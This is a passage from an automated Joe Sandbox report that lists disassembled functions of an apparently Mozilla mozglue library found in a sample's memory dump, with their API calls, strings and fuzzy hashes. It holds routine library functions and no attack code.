Function 6C94B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C94B532
moz_xmalloc.MOZGLUE(?), ref: 6C94B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C94B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C94B57E
free.MOZGLUE(00000000), ref: 6C94B58F

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 5fa9109f886e7980d2365c2408a588f06aa05e855751424b37d9cc6d9214cb89
Instruction ID: 3394425715828b93bd5f112703eeda565116b569104954793d5872d518b878cf
Opcode Fuzzy Hash: 5fa9109f886e7980d2365c2408a588f06aa05e855751424b37d9cc6d9214cb89
Instruction Fuzzy Hash: CE21E771A04605ABDB00DF69CC40BAEFBB9FF55314F288129E918DB341E775D911C7A1

Function 6C94B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C94B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C94B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C94B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C94B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C94B849

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 723a1ee41b56ae230dc54ed70735f5fa5954dffd9857522c62bf927845723ec0
Instruction ID: ba61e6c66ebf5d3f4fddcfc77052ac10f279c00fee8a9d1d47d7d29747146725
Opcode Fuzzy Hash: 723a1ee41b56ae230dc54ed70735f5fa5954dffd9857522c62bf927845723ec0
Instruction Fuzzy Hash: E4214BB0E042099FDF04DFA9C8855BEBBB4EF49214F148169E805A7740E731AA44CBA0

Function 6C9A6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9A6E78

Part of subcall function 6C9A6A10: InitializeCriticalSection.KERNEL32(6C9CF618), ref: 6C9A6A68
Part of subcall function 6C9A6A10: GetCurrentProcess.KERNEL32 ref: 6C9A6A7D
Part of subcall function 6C9A6A10: GetCurrentProcess.KERNEL32 ref: 6C9A6AA1
Part of subcall function 6C9A6A10: EnterCriticalSection.KERNEL32(6C9CF618), ref: 6C9A6AAE
Part of subcall function 6C9A6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9A6AE1
Part of subcall function 6C9A6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9A6B15
Part of subcall function 6C9A6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C9A6B65
Part of subcall function 6C9A6A10: LeaveCriticalSection.KERNEL32(6C9CF618,?,?), ref: 6C9A6B83

MozFormatCodeAddress.MOZGLUE ref: 6C9A6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9A6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9A6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C9A6EFF

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: b9a5356aba24053d7b7bf9f18f9a8df6cd738bcb8cb8d0ad90e34892943b2fa5
Instruction ID: 85102252f0dd2e0ce8fe8ca8a826726d3da22f5c67afd4684d3aa084520e3a78
Opcode Fuzzy Hash: b9a5356aba24053d7b7bf9f18f9a8df6cd738bcb8cb8d0ad90e34892943b2fa5
Instruction Fuzzy Hash: B121C171A0821A9FCB00CF69D8856DE77F8EF88348F044039E80997340EB309A59CF92

Function 6C9A76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9A76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C9A7705

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9A7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C9A778F,00000000,00000000,00000000,00000000), ref: 6C9A7731
free.MOZGLUE(00000000), ref: 6C9A7760

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: aa3acb013dc09196977a793408e7f0287185e9f46722eae442b333fc01db849f
Instruction ID: 21aa89dd9bf1c1cb90a69efef5b626013f752c7db5c5a7889eb0e02fe414270a
Opcode Fuzzy Hash: aa3acb013dc09196977a793408e7f0287185e9f46722eae442b333fc01db849f
Instruction Fuzzy Hash: 7011B2B29042156BE710AFB68C44BAFBEF8EF55754F144429F848A7300E7708950CBE2

Function 6C980D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C943DEF), ref: 6C980D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C943DEF), ref: 6C980D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C943DEF), ref: 6C980DAF

Strings

<jemalloc>, xrefs: 6C980D92, 6C980DB9
: (malloc) Error in VirtualFree(), xrefs: 6C980D97, 6C980DBE

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 7b54f0e6b727097685cb34335d4810d03d74bd9e0ea2bb2ba2f6d6bf11e21642
Instruction ID: ae5ce941ff0adc6a6849cd0595494c252ad3b3ede4f30fe46cf271e63ae1ff98
Opcode Fuzzy Hash: 7b54f0e6b727097685cb34335d4810d03d74bd9e0ea2bb2ba2f6d6bf11e21642
Instruction Fuzzy Hash: E3F0AE3238779423E72021665C0BF6A366D6BC3F65F345935F604DFDC0DA50E4104AAB

Function 6C997620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9975C4,?), ref: 6C99762B

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9974D7,6C9A15FC,?,?,?), ref: 6C997644
GetCurrentThreadId.KERNEL32 ref: 6C99765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9974D7,6C9A15FC,?,?,?), ref: 6C997663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9974D7,6C9A15FC,?,?,?), ref: 6C997677

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 9a8ef5c9e134cc71aa2c31025f7f70fcf510426640e25ae23c1c55c2c33319a4
Instruction ID: 57f3c733b0143b6b15661f642e76981a0aa304a36e2bea52aa89ff25bc7f9d6a
Opcode Fuzzy Hash: 9a8ef5c9e134cc71aa2c31025f7f70fcf510426640e25ae23c1c55c2c33319a4
Instruction Fuzzy Hash: 29F0AF76E14785ABD7008F61C888676BB78FFEA659F214316F90543601E7B0A6D08BD0

Function 6C9A1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C9A1800

Part of subcall function 6C97CBE8: GetCurrentProcess.KERNEL32(?,6C9431A7), ref: 6C97CBF1
Part of subcall function 6C97CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9431A7), ref: 6C97CBFA

Part of subcall function 6C944290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C983EBD,6C983EBD,00000000), ref: 6C9442A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C9A18C7
Details, xrefs: 6C9A1925
name, xrefs: 6C9A1939

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: d5587a5e692ad49b3e01ee58fa5e8af67ce6c6d982b3dd0530060e49ed4ab624
Instruction ID: 1583c9f1d61bbf109b65973d6ce85f63da131d68791c322fe41fb9d0185ba2cc
Opcode Fuzzy Hash: d5587a5e692ad49b3e01ee58fa5e8af67ce6c6d982b3dd0530060e49ed4ab624
Instruction Fuzzy Hash: A4710470A00346DFDB04CF68D4907AABBB5FF96304F104669D8154BB41DB70EA99CBE2

Function 6C9AB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C9AB0A6,6C9AB0A6,?,6C9AAF67,?,00000010,?,6C9AAF67,?,00000010,00000000,?,?,6C9AAB1F), ref: 6C9AB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C9AB0A6,6C9AB0A6,?,6C9AAF67,?,00000010,?,6C9AAF67,?,00000010,00000000,?), ref: 6C9AB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C9AB0A6,6C9AB0A6,?,6C9AAF67,?,00000010,?,6C9AAF67,?,00000010), ref: 6C9AB25F

Strings

map/set<T> too long, xrefs: 6C9AB1FA

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 80226a3b98309b8fdae6773037c89d4314ce0683218c7c44186ed17cb601be41
Instruction ID: 97a227496cfc5228fb237d553c8834a8041f553952be9613489fcf9af2ba97d9
Opcode Fuzzy Hash: 80226a3b98309b8fdae6773037c89d4314ce0683218c7c44186ed17cb601be41
Instruction Fuzzy Hash: 1D619C746042498FD701CF99C880A9ABBF5FF5A318F28C599D8598FB52C331ED46CBA1

Function 6C96D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C97CBE8: GetCurrentProcess.KERNEL32(?,6C9431A7), ref: 6C97CBF1
Part of subcall function 6C97CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9431A7), ref: 6C97CBFA

EnterCriticalSection.KERNEL32(6C9CE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C97D1C5), ref: 6C96D4F2
LeaveCriticalSection.KERNEL32(6C9CE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C97D1C5), ref: 6C96D50B

Part of subcall function 6C94CFE0: EnterCriticalSection.KERNEL32(6C9CE784), ref: 6C94CFF6
Part of subcall function 6C94CFE0: LeaveCriticalSection.KERNEL32(6C9CE784), ref: 6C94D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C97D1C5), ref: 6C96D52E
EnterCriticalSection.KERNEL32(6C9CE7DC), ref: 6C96D690
LeaveCriticalSection.KERNEL32(6C9CE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C97D1C5), ref: 6C96D751

Strings

MOZ_CRASH(), xrefs: 6C96D4BB

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 048a6fb3f340942f71752cf853e18bc27cfd1cab9ecc87e9d947c747c598ce2e
Instruction ID: ed106bfd19355a9b40316feac824fe33cb243d50425550059ea2399c0e2e1663
Opcode Fuzzy Hash: 048a6fb3f340942f71752cf853e18bc27cfd1cab9ecc87e9d947c747c598ce2e
Instruction Fuzzy Hash: B751C372A087418FE364CF29C49475AB7F5EB89714F24492EE5AAC7F85D770E800CB92

Function 6C994630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C994721

Strings

profiler-paused, xrefs: 6C9946E4
., xrefs: 6C99476A
-%llu, xrefs: 6C994733

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 80fa1184333f28c322ed8f43aa0e21f0780573cc984febfda00da4813ab14638
Instruction ID: f34f1deca13616db51051350cb545cb1486d67067530c39fbfa75780c84dc74d
Opcode Fuzzy Hash: 80fa1184333f28c322ed8f43aa0e21f0780573cc984febfda00da4813ab14638
Instruction Fuzzy Hash: F7417A72F087089BCB09CF78D85115EBBE9EF95744F24863DE85567B41E730D8048B51

Function 6C9B9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9B985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9B987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9B98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9B98D9

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: ef95c1d81322e48eb513b38a611efbbdd790c9ee6f30a47fa34e3bc9b2310eea
Instruction ID: 9de4a32bfc7e0bd5e7778a83de3a1c97a264092be374065c0be858e9f0f656c8
Opcode Fuzzy Hash: ef95c1d81322e48eb513b38a611efbbdd790c9ee6f30a47fa34e3bc9b2310eea
Instruction Fuzzy Hash: E431F471B00208ABDF14AF59D8449EF77B9DB94718F50806DEA0AABB40CB31D904CBE1

Function 6C9946E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C994721

Part of subcall function 6C944410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C983EBD,00000017,?,00000000,?,6C983EBD,?,?,6C9442D2), ref: 6C944444

Strings

profiler-paused, xrefs: 6C9946E4
., xrefs: 6C99476A
-%llu, xrefs: 6C994733

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: bc35b58f27940cf7f1775c5fbff2564df33d6dbd83b95202ba018a4e4697c32d
Instruction ID: 8f71140950bcdc769b38465597e2874553a8e0856f43ed431c21269c7a418adb
Opcode Fuzzy Hash: bc35b58f27940cf7f1775c5fbff2564df33d6dbd83b95202ba018a4e4697c32d
Instruction Fuzzy Hash: 0E313775F043185BCB08CF6CD8912AEBBE6DB99714F18813EE8159BB41EB70D9048B91

Function 6C99B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C944290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C983EBD,6C983EBD,00000000), ref: 6C9442A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C99B127), ref: 6C99B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C99B4E4

Strings

pid:, xrefs: 6C99B4DE

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 8f8eef1439575e6c7704f0cd5dd69de8b2c00c0f59620e350d651331e917f00f
Instruction ID: 3f69d350d2dd533274f4d913dfd6cf2a1423ee6f85fb877b209dad6cea67baea
Opcode Fuzzy Hash: 8f8eef1439575e6c7704f0cd5dd69de8b2c00c0f59620e350d651331e917f00f
Instruction Fuzzy Hash: 15314631A01208DFDB20DFA9D880AEEBBB9FF45308F580529D80167B41D735E945CBE2

Function 6C9925B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(DuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWo,00000000,?,00000000,?,6C9860AA,6C985FCB,6C9879A3), ref: 6C9925BB

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

memset.VCRUNTIME140(00000000,00000000,DuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWo,6C9860AA,6C985FCB,6C9879A3), ref: 6C9925C9

Part of subcall function 6C9927E0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C992620,?,?,?,6C9860AA,6C985FCB,6C9879A3), ref: 6C99284D
Part of subcall function 6C9927E0: free.MOZGLUE(00000001,?,?,6C992620,?,?,?,6C9860AA,6C985FCB,6C9879A3), ref: 6C99293C
Part of subcall function 6C9927E0: free.API-MS-WIN-CRT-HEAP-L1-1-0(DuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWo,?,?,6C992620,?,?,?,6C9860AA,6C985FCB,6C9879A3), ref: 6C99294E

free.MOZGLUE(00000000,?,?,?,6C9860AA,6C985FCB,6C9879A3), ref: 6C99262A

Strings

DuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWo, xrefs: 6C9925BA, 6C9925C5

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$malloc$memsetmoz_xmalloc
String ID: DuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWo
API String ID: 1079124989-3463337686
Opcode ID: 8db7df4c6847cb7b54263ec54aa9ab1d10bf8467af05c39d922af9d379268d13
Instruction ID: 1f6213348c8c2fbe01b71fb17049fd00b3dc36545aa780613c6b160d6222c3cf
Opcode Fuzzy Hash: 8db7df4c6847cb7b54263ec54aa9ab1d10bf8467af05c39d922af9d379268d13
Instruction Fuzzy Hash: D7115EB0501B009FD330CE19D894AA7B7F8EF62258F18491ED89697F42D772F809C751

Function 6C98E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C98E577
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98E584
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C98E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C98E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C98E826, 6C98E850
